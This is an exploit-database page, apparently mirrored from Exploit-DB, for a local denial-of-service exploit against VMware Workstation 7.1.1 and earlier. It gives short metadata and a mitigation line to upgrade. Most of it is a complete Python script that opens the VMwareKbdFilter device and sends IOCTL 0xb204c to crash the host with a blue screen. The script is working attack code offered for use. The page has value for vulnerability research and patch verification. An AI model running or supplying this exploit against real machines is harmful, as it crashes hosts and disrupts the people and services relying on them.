VMware Workstation - exploit.company

vendor:

VMware Workstation

by:

Lufeng Li

7,8

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: VMware Workstation

Affected Version From: VMware Workstation <= 7.1.1 build-282343

Affected Version To: VMware Workstation <= 7.1.1 build-282343

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista

2009

VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit

This exploit allows an attacker to cause a denial of service on the host OS by running a script on the host OS. The script creates a file with the name 'VMwareKbdFilter' and uses DeviceIoControl with a specific IOCTL code to cause the host OS to crash.

Mitigation:

Upgrade to the latest version of VMware Workstation.

Source

Exploit-DB raw data:

#!/usr/bin/python

#################################################################
#
# Title: VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.vmware.com
# Platform: Windows Vista
# Tested: VMware Workstation v7.1.1 build-282343
# Vulnerable: VMware Workstation <= 7.1.1 build-282343
# Vendor: http://www.vmware.com/
# Test: Run this Script on host OS will make host OS BSoD
#
#################################################################

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    DEVICE_NAME   = "\\\\.\\VMwareKbdFilter"

    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =''
    out_data      =''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
						0, None, CREATE_ALWAYS, 0, None)

    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)